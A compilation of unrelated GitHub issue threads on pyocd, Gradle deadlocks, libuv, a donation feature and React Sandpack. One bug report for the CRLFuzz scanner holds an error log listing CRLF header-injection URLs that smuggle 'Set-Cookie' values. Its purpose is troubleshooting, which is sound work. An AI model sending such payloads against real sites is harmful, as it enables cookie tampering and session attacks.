Ah, I know. On the RasPi, unless you have mounted the STLink USB mass storage volume, pyocd won't be able to auto-detect the board/MCU type. This is because the board ID is stored in an HTML file on the STLink volume. I see the same thing when running pyocd on my RasPi with my STM32L475 connected.
On the PC, the STLink USB volume is automatically mounted and thus the board ID can be detected.

@flit Thanks. It was indentation. I manual edit the yaml file as I tested multiple boards and hosts.
I also realize the exit command in pyocd works. It is just very slow that I thought it hung.
Thanks for explaining the mechanism of auto-detecting the board. No wonder that does not work on raspberry nor my in-house dev board. Good to know I did not do anything wrong to stop it from working.
Now, pyocd understands my corrected yaml on the raspberry. I get the same good behavior as on my x86. This accomplishes my goal of working around #813. I can manually  give my yaml config to pyocd to connect to my uCs.
My next step is to figure our how to get west flash and west debug to work. west flash help screen shows me openocd and jlink are the supported zephyr runner. I thought pyocd and zephyr has a very close relationship. I am surprised pyocd is not listed.
Anyway, I wonder how to give my pyocd.yaml to west flash so that it can pass that yaml down to pyocd so that pyocd can flash binary to L452 targets. Does anyone know a good contact person / reference for that? i will start googling again. Thanks for helping with #813  Appreciated.
user@87eadf9b5989:/workdir/zephyrproject$ west flash --context -d bare_metal_nucleo_l452re_build-blinky
-- west flash: rebuilding
ninja: no work to do.
build configuration:
  build directory: bare_metal_nucleo_l452re_build-blinky
  board: nucleo_l452re
  runners.yaml: /workdir/zephyrproject/bare_metal_nucleo_l452re_build-blinky/zephyr/runners.yaml
zephyr runners which support "west flash":
  blackmagicprobe, bossac, canopen, dediprog, dfu-util, esp32,
  hifive1, intel_s1000, jlink, misc-flasher, nios2, nrfjprog,
  arc-nsim, openocd, pyocd, stm32flash, mdb

  Note: not all may work with this board and build directory.
  Available runners are listed below.
available runners in runners.yaml:
  openocd, jlink
default runner in runners.yaml:
  openocd

Glad you're making progress!
That's surprising that west doesn't show pyocd. Probably best to create an issue on the west project. (Please cc me if you don't mind so I have a link.) They should basically allow pyocd with any device/board as long as there's a way to set the target type.
For the config file, pyocd will automatically use a pyocd.yaml (or .yml) file in the working directory from where it was run. If a project directory is specified, it will use that instead of the working dir. So it would be nice if west could pass the zephyr directory as the pyocd project directory.
It would also be nice if west had a way to pass arbitrary arguments to the runner. (It may already, I don't know.)

Following up: I did not contact west project because I figured I could manually do everything I wanted to do with pyocd.
I can flash MCUBoot and signed image in slot 0 partition with
pyocd flash nucleo_l452re_build-mcuboot/zephyr/zephyr.elf
pyocd flash nucleo_l452re_build-dfu/zephyr/zephyr.signed.hex
``
I can test dfu with

sudo dfu-util --alt 1 --download nucleo_l452re_build-blinky/zephyr/zephyr.signed.bin
I successfully tested USB DFU sample on nucleo_l452re by using pyocd manually. It is so easy that I do not need any abstraction from west. I didn't bother filing a complain there.

The pack download issues for the STM32 packs have been worked around on the server. Closing this issue.


[BUG] net/url: invalid control character in URL

Describe the bug
Hello, thanks for this great tool. However when I run the tool I get this error:

   _____ _____ __    _____
  |     | __  |  |  |   __|_ _ ___ ___
  |   --|    -|  |__|   __| | |- _|- _|
  |_____|__|__|_____|__|  |___|___|___|

      v1.4.0 - @dwisiswant0

[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[ERR] parse "https://example.com/\r\tSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/\rSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/\r%20Set-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/\r\nSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/\r\n%20Set-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/\r\n\tSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/crlfuzz\rSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/crlfuzz\r%20Set-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/crlfuzz\r\nSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/crlfuzz\r\n%20Set-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/crlfuzz\r\n\tSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/crlfuzz\r\tSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/?crlfuzz=\r%20Set-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/?crlfuzz=\r\nSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/?crlfuzz=\r\n%20Set-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/?crlfuzz=\r\n\tSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/?crlfuzz=\r\tSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL
[ERR] parse "https://example.com/?crlfuzz=\rSet-Cookie:param=crlfuzz;": net/url: invalid control character in URL

I got the same error even though I tested it on 2 different linux machines.
Environment:

OS: linux
OS version:
1- Linux tester 5.11.0-1027-azure #30~20.04.1-Ubuntu SMP Wed Jan 12 20:56:50 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
2- Linux kali 5.10.0-kali9-amd64 #1 SMP Debian 5.10.46-4kali1 (2021-08-09) x86_64 GNU/Linux
CRLFuzz Version: CRLFuzz 1.4.0

This link may be helpful: https://stackoverflow.com/questions/55945325/golang-url-parse-always-return-invalid-control-character-url
Thanks

Do you get the same error when running this on HTTP?

Any updates on this?

p


Download gflags as zip file and update gitignore

See: https://github.com/ethz-asl/gflags_catkin/pull/9

lgtm


updated positions already on the job board + added the Formulate posi…

…tion submitted via email

already merged commits from #154


Add free to test

Codecov Report

Merging #37 (2863f17) into main (6f3aa07) will increase coverage by 0.13%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main      #37      +/-   ##
==========================================
+ Coverage   86.84%   86.97%   +0.13%
==========================================
  Files          46       46
  Lines        6970     6973       +3
==========================================
+ Hits         6053     6065      +12
+ Misses        917      908       -9

Impacted Files
Coverage Δ

src/compress.rs
97.57% <100.00%> (+0.17%)
:arrow_up:

src/lib.rs
43.72% <100.00%> (+0.89%)
:arrow_up:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


flutter package

Not Create Instance in FirebaseMessaging

Issues with third-party plugins need to be reported to the developers of the plugin. Firebase is not part of the Flutter project.


Issues with upsert new docs

Hi, after following your tutorial the app is running correctly and I was trying to insert some docs via the upsert_document.py script. But I'm getting a lot of errors which indicates that the dependencies are are not resolved correctly (module Fire could not be found)
I'm using codespaces and installed the dependencies via poetry install
What am I missing here?

@shotyme  Please activate the poetry shell and then reattempt the command.


docker-compose build hangs on Step 20/29

Following the installation instructions for git commit
79c39ad35cf4d6842e6c670152f64b08a04d44ea
causes the installation process (docker-compose build) to hang:
Step 20/29 : RUN npm install
 ---> Running in e1030db32432

No such problems on same VM using git commit
8afb5dda2a6471ff9274a6ac18c6a425786ddfea
OS: Ubuntu 18.04

@manybodycpa
This step can take significant time to install all dependencies. How much time are you waiting? Do you get any errors?

No error messages. I just reran the setup and waited for 10 minutes so far with no progress.

OK, it really just took a very long time. Apologies for opening an issue.

@manybodycpa
If no errors, process is probably running.
Could you try to wait more? There are different factors that can affect installation time: your bandwidth, npm servers ping and bandwidth, etc.

@manybodycpa
Great


Readonly users - Clicking on "start" option to activate service does nothing.

Server version - Build from master sep 8
Local auth enabled setup.
Log in as a readonly user.
Clicking on "start" option to activate service does nothing.
Expected Behavior:
We either not present "start" option to user at all . If presented , provide an error message.

The start option is no longer visible in the reskin UI as well as the API.


Tentative fix for #186

When debugging #186 with Simon, we noticed that Tc.Recheck.recompute_typ head was called on a beta redex and clearly couldn't deal with the situation and returned Typ_unknown, something that the encoding can't deal with at all. As a tentative fix we added a call to whnf_e env head at the beginning of the Exp_app(head ... case of encode_exp. This seems to fix all instances we had for #186 without causing problems with the other tests. We didn't check whether it impacts timing though, and also don't know if this is the best way to fix the problem.

Thanks for this fix. I just pushed a fix based on this one, but slightly different to minimize the amount the reduction.
The comment should be correct now.

Can we delete the tentative-fix-for-186 branch ?

done


Deadlock when resolving dependencies with Eclipse plugin

When using gradlew eclipseClasspath, Gradle gets stuck after some seconds.
Expected Behavior
Gradle does not get stuck. The problem was not present with Gradle 2.9 which we used until now.
Current Behavior
Gradle gets stuck and does not advance in any way (observed for hours). On the command line this looks like:
<-------------> 1% EXECUTING [50m 27s]
> :sub_project1:eclipseClasspath
> :sub_project2:eclipseClasspath > Resolve dependencies :sub_project2:provided
> :sub_project3:eclipseClasspath > Resolve dependencies :sub_project3:testCompileClasspath
> :sub_project4:eclipseClasspath > Resolve dependencies :sub_project4:provided
> :sub_project5:eclipseClasspath
> :sub_project6:eclipseClasspath > Resolve dependencies :sub_project6:compileClasspath
> :sub_project7:eclipseClasspath
> :sub_project8:eclipseClasspath > Resolve dependencies :sub_project8:provided

The problem does not occur when using the --offline switch or when using the --no-parallel switch.
The problem does also occur when reducing the number of workers through the setting org.gradle.workers.max=3, but not if setting org.gradle.workers.max=2
The problem is reproducible and happens with every build. Apparently there is a problem with thread synchronization under certain circumstances.
Context
This is a big multi project Gradle build with 166 sub-projects. We also use ivy repositories to resolve dependencies. I'm afraid we cannot share any gradle build files here publicly, but we can offer to share some parts privately upon request. We are happy to provide further information to help in solving this problem.
Steps to Reproduce (for bugs)
As said above, Gradle build files cannot be attached, let alone the project's source code. And we were not able to assemble an example project. But we generated a thread dump of the stuck daemon process which should help to understand the problem and which is attached. In this build, the number of workers was limited to 3 to narrow down the problem.
Our Thread analysis
Thread "Task worker for ':' Thread 2" holds a lock to the Gradle artifact cache here:
at org.gradle.cache.internal.DefaultCacheAccess.useCache(DefaultCacheAccess.java:217)

(locked by the owner member of DefaultCacheAccess) and waits for a different lock here:
at org.gradle.cache.internal.ProducerGuard$AdaptiveProducerGuard.guardByKey(ProducerGuard.java:90)

(trying to add a specific key to a HashSet named producing)
At the same time, Thread "Daemon worker" seems to have already added this key:
at org.gradle.cache.internal.ProducerGuard$AdaptiveProducerGuard.guardByKey(ProducerGuard.java:97)

but waits to takeOwnership of the Gradle artifact cache here
at org.gradle.cache.internal.DefaultCacheAccess.takeOwnership(DefaultCacheAccess.java:241)

which is held by Thread "Task worker for ':' Thread 2" above.
Your Environment
The Gradle build runs on Windows (Server 2012). Relevant Gradle properties:
org.gradle.parallel=true
org.gradle.daemon=true
org.gradle.configureondemand=true

Gradle version: 4.3.1, java version: jdk1.8.0_152
Workaround
We found a workaround that mitigates the problem by basically synchronizing all eclipseClasspath tasks over all workers on a task level. This works but of course slows down the build.
The code was borrowed from another workaround. We simply replaced the generatePom task by eclipseClasspath and the class by GenerateEclipseClasspath

At first glance it seems to me that DefaultArtifactResolutionQuery should not be locking the cache. @melix what do you think?

We just have seen other occurrences of the exact same problem in other tasks when Gradle needs to resolve dependencies. These are regular build tasks like compileJava or test, but the problem is not reproducible there, is rather rare. Of course, the above mentioned workaround does not fix this, so a real fix would be much appreciated. Thank you.

Step to reproduce:

Add a line Thread.sleep(2000) before this line: https://github.com/gradle/gradle/blob/bce72b32e562be96a6553efe008cc26eb048ac06/subprojects/dependency-management/src/main/java/org/gradle/internal/resource/transfer/DefaultCacheAwareExternalResourceAccessor.java#L84

Use the following code can reproduce it:
class ArtifactResolutionQueryIntegrationTest extends AbstractHttpDependencyResolutionTest {

    @Issue('https://github.com/gradle/gradle/issues/3579')
    @Timeout(value = 60, unit = TimeUnit.SECONDS)
    def 'dead lock should not happen'() {
        given:
        mavenHttpRepo.module('group', 'artifact', '1.0').allowAll().publish()
        settingsFile << 'include "sub1","sub2"'
        buildFile << """

allprojects {
    apply plugin: 'java'
    repositories {
       maven { url '${mavenHttpRepo.uri}' }
    }
    dependencies {
        compile 'group:artifact:1.0'
    }
}

project(':sub1') {
  task resolveCompileSources {
      doLast {
          Thread.sleep(1000)
          def result = dependencies.createArtifactResolutionQuery()
                                   .forComponents(new org.gradle.internal.component.external.model.DefaultModuleComponentIdentifier('group','artifact','1.0'))
                                   .withArtifacts(JvmLibrary, SourcesArtifact, JavadocArtifact)
                                   .execute()
      }
    }

}
project(':sub2') {
  task retrieve(type: Sync) {
      into 'libs'
      from configurations.compile
  }
}
"""
        executer.requireOwnGradleUserHomeDir().requireIsolatedDaemons()

        expect:
        succeeds(':sub1:resolveCompileSources', 'sub2:retrieve', '--parallel')
    }
}


Implement Run.inputs export/import

Implement the export/import of the run.input field added in MLflow 2.4.0

Done and tests added


Data files - multiple content on one page

Which scope/s are relevant/related to the feature request?
Don't know / other
Information
It would be nice to have data files like in jekyll.
What I am trying to achieve: I would like to have all my projects on one page. I don't want to split all projects in separate pages. My first thought was that I create 'projects' in content folder and there I added all md files, but I don't known how to get content all files on one page. It would be nice to have data files with md (formatted content).
Maybe I misunderstood something in the documentation, so please explain.
Describe any alternatives/workarounds you're currently using
I am trying to workaround by adding data files to assets folder and use HTTPClient.  My page is generating, but the console shows an error ERROR TypeError: Failed to parse URL from /data/projects.json
If I have a full workaround ready, then I will share it.
I would be willing to submit a PR to fix this issue

[ ] Yes
[ ] No

@joshuamorony's video might help, since it sounds like his case is very similar to yours
https://youtu.be/o6novBbaHis?si=LRhj5CBWnfayKtc_

@MarcinMichalik you need to use the full URL to the /data/projects.json file, such as http://localhost:5173/data/projects.json


Fix typo in column config

Thanks :heart:
I'm wondering why the typescript compiler didn't find this one


DECI examples not runable

Hi Causica team,
the shape of the code seems not to be up-to-date, especially for those who would like to try DECI for the first time, following the examples. I understand that DECI is extremely flexible, but it would be nice to have a guide on which dependencies need to be met for which release and also to have checked and working examples. E.g. one cannot import CAUSICA_DATASETS_PATH from the latest release, so it's not clear how to make the examples work.
Thank you in advance for your support!

Thanks for the issue @jdjelic . We're working on publishing docs.
Meanwhile, can you please specify which example is not working? The constant you're referring to should be importable, though I'm curious why you'd like to?


Event Donations

I originally suggested a whole new model for fundraising/donation events, I know think that's more work and less user friendly.
I think a better way to do this would be to add another section to the existing events model to allow donations. This has the advantage that all existing features of events (email event updates to donors/attendees) are usable on fundraisers without any extra work.
So when you create an event, you can tick "ticket this event" and/or you can tick "take donations for this event".
Then on the event it'll have a very clear "Donate" button where the "Book" button is currently shown.
(In theory events can both sell tickets and take donations, in which case both buttons would show)
When you click "Donate" it'll load a modal (like the current "book" one) that asks you to:

sign-in with google or enter your email
enter the amount you wish to donate (and perhaps a message for the person/team raising money)
Ask if you'd like to use giftaid - same as the current form
make payment same - same as the current form

When creating or editing the event the host/fundraiser can decide whether they want to show how much they've raised and enter their target. If so the amount raised and a progress bar will be shown on the event for everyone to see.
I think this will take 4 days or 32 hours.

Questions:

does this approach make sense?
by default the event start time and duration are required. Should we keep this required to make it optional? Slightly less work to keep it as is.
am I missing any features?

Love this idea. I think it makes complete sense. Queries to confirm:

So as a fundraiser coming to NOSHT, I would select 'take donations for this event' at the point of event creation? I might suggest we use the word 'fundraiser' where possible as that covers both event and non-event fundraiser.
Will event/fundraiser organisers be able to suggest donation amounts, like different ticket types as well as have a separate box where guests/donors can choose donation amount? This is the ideal scenario
Currently we have a tick box for events checkouts, stating: “Yes, I would like to help the Hands Up Foundation to cover costs, by adding a 3% donation to my ticket price." Can we remove this for donations checkouts?
I think we should make time and date optional please - can date be number of days as well as hours? Don't worry if too much.
We may need to think a bit about wording on the events platform to indicate that people can hold their own fundraiser too. But that, I think is mainly for us.

Hi Samuel
Really sorry to be so slow coming back on this one.
Yes please to differentiate between ‘donations’ and ‘tickets’.
Fine to play suggested donation/elective donation amount by ear.
Happy to come back to time/date issue.
Anything else you need from us to get going?
Thanks so much
Rose
From: Samuel Colvin<EMAIL_ADDRESS>Sent: 10 June 2020 16:27
To: samuelcolvin/nosht<EMAIL_ADDRESS>Cc: Rose Lukas<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [samuelcolvin/nosht] Event Donations (#260)
Love this idea. I think it makes complete sense. Queries to confirm:

So as a fundraiser coming to NOSHT, I would select 'take donations for this event' at the point of event creation? I might suggest we use the word 'fundraiser' where possible as that covers both event and non-event fundraiser.

Yes. I too thought about naming, the problem is that presumably all events are fundraisers? E.g. if I do a supper club and charge people for food, that's still a fundraiser.
Thus I think we need the distinction between:

donations - give money, get nothing but a warm fuzzy feeling
and, tickets - exchange money for the right to come to something

This is particularly important if the platform (and perhaps even single events) are doing both.
Let me know what you think?

Will event/fundraiser organisers be able to suggest donation amounts, like different ticket types as well as have a separate box where guests/donors can choose donation amount? This is the ideal scenario

I guess maybe, I omitted it because I was trying to avoid extra work. Can we play it by ear and see if I can get it done in the time frame?

Currently we have a tick box for events checkouts, stating: “Yes, I would like to help the Hands Up Foundation to cover costs, by adding a 3% donation to my ticket price." Can we remove this for donations checkouts?

yes

I think we should make time and date optional please - can date be number of days as well as hours? Don't worry if too much.

I think this is a separate issue, let's come back to it in future if it becomes a priority.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/samuelcolvin/nosht/issues/260#issuecomment-642083886, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AJ3TAI3QTLUXBBGZX5OCSLDRV6Q4FANCNFSM4NYQVO2A.

Hi Samuel
How are you? Just checking in on this one, we had discussed end of July – is that still feasible?
Thanks so much
Rose
From: Rose Lukas
Sent: 24 June 2020 12:16
To: samuelcolvin/nosht<EMAIL_ADDRESS>samuelcolvin/nosht<EMAIL_ADDRESS>Cc: Comment<EMAIL_ADDRESS>Subject: RE: [samuelcolvin/nosht] Event Donations (#260)
Hi Samuel
Really sorry to be so slow coming back on this one.
Yes please to differentiate between ‘donations’ and ‘tickets’.
Fine to play suggested donation/elective donation amount by ear.
Happy to come back to time/date issue.
Anything else you need from us to get going?
Thanks so much
Rose
From: Samuel Colvin <notifications<EMAIL_ADDRESS>Sent: 10 June 2020 16:27
To: samuelcolvin/nosht <nosht<EMAIL_ADDRESS>Cc: Rose Lukas <rose<EMAIL_ADDRESS>Comment <comment<EMAIL_ADDRESS>Subject: Re: [samuelcolvin/nosht] Event Donations (#260)
Love this idea. I think it makes complete sense. Queries to confirm:

So as a fundraiser coming to NOSHT, I would select 'take donations for this event' at the point of event creation? I might suggest we use the word 'fundraiser' where possible as that covers both event and non-event fundraiser.

Yes. I too thought about naming, the problem is that presumably all events are fundraisers? E.g. if I do a supper club and charge people for food, that's still a fundraiser.
Thus I think we need the distinction between:

donations - give money, get nothing but a warm fuzzy feeling
and, tickets - exchange money for the right to come to something

This is particularly important if the platform (and perhaps even single events) are doing both.
Let me know what you think?

Will event/fundraiser organisers be able to suggest donation amounts, like different ticket types as well as have a separate box where guests/donors can choose donation amount? This is the ideal scenario

I guess maybe, I omitted it because I was trying to avoid extra work. Can we play it by ear and see if I can get it done in the time frame?

Currently we have a tick box for events checkouts, stating: “Yes, I would like to help the Hands Up Foundation to cover costs, by adding a 3% donation to my ticket price." Can we remove this for donations checkouts?

yes

I think we should make time and date optional please - can date be number of days as well as hours? Don't worry if too much.

I think this is a separate issue, let's come back to it in future if it becomes a priority.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/samuelcolvin/nosht/issues/260#issuecomment-642083886, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AJ3TAI3QTLUXBBGZX5OCSLDRV6Q4FANCNFSM4NYQVO2A.

Samuel,
It’s all working brilliantly. Donations etc… there’s nothing preventing key functionality, so I think we’re almost there.

One thing, do we need to ask for an email address when they’re making a donation, see screenshot 1? We do for buying tickets.

I have listed replacement text for the Guides when creating an event below.

REPLACEMENT GUIDANCE TEXT FOR CREATING AN EVENT IN ORDER
Public name of the fundraiser, keep this short and appealing. (required)
The Category of fundraiser you want to host. (required)
The type of fundraiser you want to host. (required)
Tick to make this fundraiser public so it will be visible to anyone on the site and appear in public search results. If your fundraiser is not public you will need to share the event link with people for them to view and book tickets or donate (depending on the event type).
Let guests know when the fundraiser will start and how long it will go on for, you can add more details about exact timings in the description below. If this event is for donations only, this date will be the deadline for donations. (required)
Drag the marker to set the exact fundraiser location – if no location is required, please leave this blank. (optional)
Maximum number of tickets/donations available for the fundraiser if applicable. (optional)
Price of standard tickets/donations for your fundraiser. Leave blank if tickets are free. You can add more ticket types/donation amounts once you've created the event. (optional)
Set if you're not selling tickets or asking for donations on a different platform e.g. Just Giving. (optional)
[under Long Description, greyed out text in box]: Full description of the fundraiser with everything your supporters need to know…
Detailed description of the fundraiser; you can update this later if you have more information. (required)
If it takes 2 mins to do, would any of the following be possible? If not, please leave!

Message box for donor, when making a donation (a bit like dietary requirements in the events ticket buyer box)
Title: Event Date or Fundraising deadline instead of Event Start when setting up event. (see screenshot 2)

Upload a large image in place of the current map that appears on the final fundraiser page.

We already have email address, either they're already logged in or they have entered their email address on the first step of donating.
Try in an incognito window.

Done. Great.
From: Samuel Colvin<EMAIL_ADDRESS>Sent: 27 July 2020 17:52
To: samuelcolvin/nosht<EMAIL_ADDRESS>Cc: Rose Lukas<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [samuelcolvin/nosht] Event Donations (#260)
We already have email address, either they're already logged in or they have entered their email address on the first step of donating.
Try in an incognito window.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/samuelcolvin/nosht/issues/260#issuecomment-664513436, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AJ3TAIZENMVC3DGRHFS7463R5WWETANCNFSM4NYQVO2A.

The text changes above look like you're renaming "events" to "fundraisers".  We can do that, but we should do it across the whole system, and that's a lot more work. Just changing it in one form is going to confuse people.
Perhaps ring me to discuss if you're not sure what I mean.

Ok, can we put in the text “events/fundraisers” for all to get around that for now?
From: Samuel Colvin<EMAIL_ADDRESS>Sent: 28 July 2020 09:37
To: samuelcolvin/nosht<EMAIL_ADDRESS>Cc: Rose Lukas<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [samuelcolvin/nosht] Event Donations (#260)
The text changes above look like you're renaming "events" to "fundraisers". We can do that, but we should do it across the whole system, and that's a lot more work. Just changing it in one form is going to confuse people.
Perhaps ring me to discuss if you're not sure what I mean.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/samuelcolvin/nosht/issues/260#issuecomment-664862489, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AJ3TAI7CHHXQHDMMHRPYO7DR52E2LANCNFSM4NYQVO2A.

Personally I don't think the work "fundraiser" adds anything. All events for a charity (or technically for a company) that generate revenue are fundraisers.
I don't think most people who might casually host an event for Hands Up would understand the distinction I think you have:

"fundraiser" means an event where people donate money "for nothing"
"event" an event where people buy tickets in explicit return for the right to attend an event

I think the distinction "book tickets" vs. "donate" is much clearer both legally and practically for most people. It also works better for events that can allow both donations and ticket booking.
Of course if you really want "events/fundraisers" everywhere on the event creation page, I can stop being difficult and do it.

I take your point - in which case Fundraiser for everything (covering ticket buying and non-ticket buying events) and we need to then change it across the site. There isn't time for that now, so perhaps we leave the guidance text with 'event' and hope no one notices or cares. Hopefully having added the extra 'ticket buying' / donation text will have covered it.

yes agree. Changing the text across the system is the kind of easy job that might be a good first job for someone else working on the project.

Perfect
From: Samuel Colvin<EMAIL_ADDRESS>Sent: 28 July 2020 11:29
To: samuelcolvin/nosht<EMAIL_ADDRESS>Cc: Rose Lukas<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [samuelcolvin/nosht] Event Donations (#260)
yes agree. Changing the text across the system is the kind of easy job that might be a good first job for someone else working on the project.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/samuelcolvin/nosht/issues/260#issuecomment-664962342, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AJ3TAI343B45DIC3XAM2TZTR52R7TANCNFSM4NYQVO2A.


Thread affinity and detach.

Modified version of https://github.com/libuv/libuv/pull/280. Adds 3 calls to set thread affinity, get thread affinity, and detach a thread. Windows support is coded but untested!
Makefile.am needed the test case file added, and I had to regenerate the other build files in the PR because automake 1.13.4 is the latest available on CentOS 7 (previous was built with 1.14).

automake takes about 5 minutes to compile a local version of, would make the diff a lot less noisy

Not really much less noisy, but okay.

Looks nicer to me, thanks. I think we could make a test branch of Julia and run appveyor on this if it would help.

If that's the best way to get this tested on Windows, then sure. In any case, I'll work on building Julia in Windows per the instructions in README.windows.

This looks okay for me in local builds, both win32 and win64, so if you and/or upstream libuv are happy with it I think we could just merge (unless anyone has any substantive feedback). I'm guessing that stock Julia's tests won't really execute the new features here?

Thanks for checking! No word on the PR in upstream libuv, though the API is based on input from one of the libuv devs.
This is for use by the threading branch, to abstract away platform specifics. There is no specific test case for thread affinitization as wrong affinities will only impact performance, not correctness.
FYI, we'll need to add something for atomics as well, soon.

Where's the documentation for these new entry points?

Where should I document them? Upstream libuv has docs/ and I will update the PR there to add these calls, but Julia's libuv appears to have been forked before documentation was added.

I'd almost say inline comments, or in this thread, for our fork. Dunno.
And just to be clear, by "This looks okay for me in local builds, both win32 and win64" I meant Julia built with this branch passes its tests. The libuv tests won't build on our fork, but this is a pre-existing problem unrelated to this PR. And I haven't tested with MSVC.

Added the documentation I'd written in the upstream libuv PR to the top of this thread.

@vtjnash ok to merge this?


Auth secrets are leaked in exception message

During the authentication attempt, if the auth server responds with status code >= 400, response body is copied over to the exception message, resulting in a potential leak of credentials in logs.
Steps to reproduce

Configure Operate authentication so that the authentication request fails (e.g. use an invalid token endpoint URL to receive 404)
Start an application that creates an instance of CamundaOperateClient on startup.
Verify that logs contain a similar entry:

io.camunda.operate.exception.OperateException: /oauth/token : 404 Not Found; Body : {"grant_type":"client_credentials", "audience":"operate.camunda.io", "client_id": "real-client-id", "client_secret":"real-client-secret"}

The client-id and client-secret contain actual credentials.
Expected behavior
The request body is not stored in auth-related exceptions to avoid the leaks of sensitive data in the logs.

Fixed at https://github.com/camunda-community-hub/camunda-operate-client-java/commit/a40648280a8a0d4fc6ad9bfcf4d4b0bd8525fa8c

Already on maven central
https://repo.maven.apache.org/maven2/io/camunda/camunda-operate-client-java/<IP_ADDRESS>/


Add complex validator for demods sample

#7

I tested the PR and it looks it is working fine. Thanks for addressing the issue.
It would be greate if you could release the package after merging this PR, then our users can easily update to the new version to be able to use the updated driver.


[Bug]: Issue with Sandpacks

Summary
Sandpack preview no longer reloads after scroll.
Pick any page with a sandpack.... On scroll to the sandpack, the preview loads correctly, scroll away from the sandpack and then back, the sandpack's preview doesn't show up anymore.
Page
https://react.dev/learn/describing-the-ui
All pages with sandpacks are also affected
Details
https://github.com/reactjs/react.dev/assets/4683867/58c303b5-a121-409a-a11c-92d17ba201e8
Shown above. The preview loads correctly the first time but if the user navigates away from the sandpack and then later back to it, it fails to load.
Tried to fix it locally and the last working version of sandpack is 2.6.1. Tested in Safari and Edge
I think this is related to #6659 cc @danilowoz @rickhanlonii

All pages with Sandpacks are affected.

That was unexpected! For now, I'd try to fix the previous bug applying the following change
https://github.com/reactjs/react.dev/pull/6663/files#diff-8dd8662806ac667355c6bff8e8274df548eea48029d2c960160b7adb424501a4
I was able to reproduce it on Sandpack, but no idea what's causing that

Thank you @danilowoz
Just to note that the sandpack for https://react.dev/learn/describing-the-ui#writing-markup-with-jsx
Shows the error the first time but not after scroll. Every other sandpack works correctly.

I think it was introduced with this change. With 2.6.0 locally, it continues to show the Error message after the user scrolls away and back.

In main I can see that the sandpack that @bondz has shared isnt working as expected. Shows blank screen occasionally.
have to confirm if this is affecting other sandpacks as well. From what I have seen it doesnt affect any other.
checked with older commits and seems like the preview takes time to load even after entering viewport and flickers. It didnt show loader rather when a preview (error) was already there it force replaced the preview again only after entering the viewport. Have attached the video from older commit without your changes (dan's commit) (url: https://react-1ctcjdyrh-fbopensource.vercel.app/)
https://github.com/reactjs/react.dev/assets/32865581/688623c3-3996-4129-b41f-884c2e126400

Unfortunately, I old PR broke a couple of things in Sandpack. These changes introduced some edge cases and I hope this was the last one 🤞


change remove independent variables setting to False by default

Description
Been meaning to do this for a while due to hard-to-fix bugs such as #2528 . #4019 was good motivation.
To set the setting to True (which can speed up the simulation, especially during the rest period), do
pybamm.Simulation(..., discretisation_kwargs={"remove_independent_variables_from_rhs": True")

Type of change
Please add a line in the relevant section of CHANGELOG.md to document the change (include PR #) - note reverse order of PR #s. If necessary, also add to the list of breaking changes.

[ ] New feature (non-breaking change which adds functionality)
[ ] Optimization (back-end change that speeds up the code)
[ ] Bug fix (non-breaking change which fixes an issue)

Key checklist:

[ ] No style issues: $ pre-commit run (or $ nox -s pre-commit) (see CONTRIBUTING.md for how to set this up to run automatically when committing locally, in just two lines of code)
[ ] All tests pass: $ python run-tests.py --all (or $ nox -s tests)
[ ] The documentation builds: $ python run-tests.py --doctest (or $ nox -s doctests)

You can run integration tests, unit tests, and doctests together at once, using $ python run-tests.py --quick (or $ nox -s quick).
Further checks:

[ ] Code is commented, particularly in hard-to-understand areas
[ ] Tests added that prove fix is effective or that feature works

Still need to add changelog

Converted to draft as I will work on fixing coverage


[ESX] [Mainnet] xERC20 Whitelisting

Token Details

Name: ESX
Symbol: ESX
Chains: BSC, ETH, Polygon

Tasks

[ ] PR to chaindata: <link to PR>
[ ] PR to monorepo allowlist config: <link to PR>
